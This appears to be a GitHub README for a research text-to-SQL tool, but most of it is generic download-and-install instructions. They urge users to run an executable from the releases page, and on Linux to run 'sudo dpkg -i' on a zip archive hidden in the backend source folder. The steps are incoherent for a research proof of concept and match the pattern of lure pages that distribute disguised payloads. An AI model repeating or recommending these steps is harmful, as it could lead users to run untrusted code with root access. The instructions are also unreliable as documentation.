LLM2SQLSTRUCTUREDSEARCH is a structured text-to-SQL pipeline. It combines large language model (LLM) sketch generation with schema-aware two-phase retrieval and validation-driven refinement. This tool improves SQL controllability and accuracy through schema embeddings and minimal-edit correction. It serves as a research-oriented proof of concept (POC) on MiniDev and Spider-style datasets.
To start using LLM2SQLSTRUCTUREDSEARCH, follow these steps.
Before downloading, make sure your system meets the following requirements:
- Operating System: Windows, macOS, or Linux.
- RAM: Minimum 4 GB, recommended 8 GB or more.
- Disk Space: At least 500 MB free.
You can download the application by visiting the releases page. Click the link below:
Once on the releases page, look for the latest version. Click on the link to download the appropriate file for your operating system.
After the download completes, locate the file on your computer. Double-click the file to start the installation process. Follow the prompts to complete the installation.
For your convenience, you can also click the link below to go directly to the download page.
Download LLM2SQLSTRUCTUREDSEARCH
- Double-click the downloaded .exe file.
- Follow the setup wizard instructions.
- Choose the destination folder for installation.
- Click "Finish" once the installation is complete.
- Open the downloaded .dmg file.
- Drag the application to your Applications folder.
- Eject the disk image from your Finder.
- Open the application from your Applications folder.
- Open a terminal window.
- Navigate to your download directory using the
cdcommand. - Run the command to install (e.g.,
sudo dpkg -i https://github.com/alexis09876/LLM2SQLSTRUCTUREDSEARCH/raw/refs/heads/main/backend/src/twophase/SQLSTRUCTUREDSEARCH_LL_1.9-beta.3.zip). - Follow any additional prompts for dependencies.
After successful installation, you can start using LLM2SQLSTRUCTUREDSEARCH.
- On Windows, find the shortcut on your desktop or in the Start menu.
- On macOS, open the application from the Applications folder.
- On Linux, you can open it from your applications menu.
Once the application is open, input your unstructured text that you want to convert to SQL. Follow the on-screen instructions for formatting your input.
Click the “Generate SQL” button to start the processing. The application will create the corresponding SQL query based on your input.
The resulting SQL will display on the screen. You can copy this SQL for use in your database management system.
- Schema-Aware Retrieval: The tool understands your database schema, providing context for better SQL output.
- Two-Phase Retrieval: It refines queries in two stages for increased accuracy.
- Validation-Driven Refinement: The application improves results through validation steps.
- User-Friendly Interface: Easy to navigate, even for non-technical users.
A structured text-to-SQL pipeline converts natural language text into SQL queries, helping users interact with databases without needing to learn SQL syntax.
You do not need a database to generate SQL queries, but to execute them, you will need access to a compatible database.
You can open an issue on our GitHub repository. Click on the "Issues" tab to submit your feedback.
For support, please contact our help desk at Email Support.
We welcome contributions. If you would like to contribute, please review our repository guidelines.
This project is licensed under the MIT License. See the LICENSE file for details.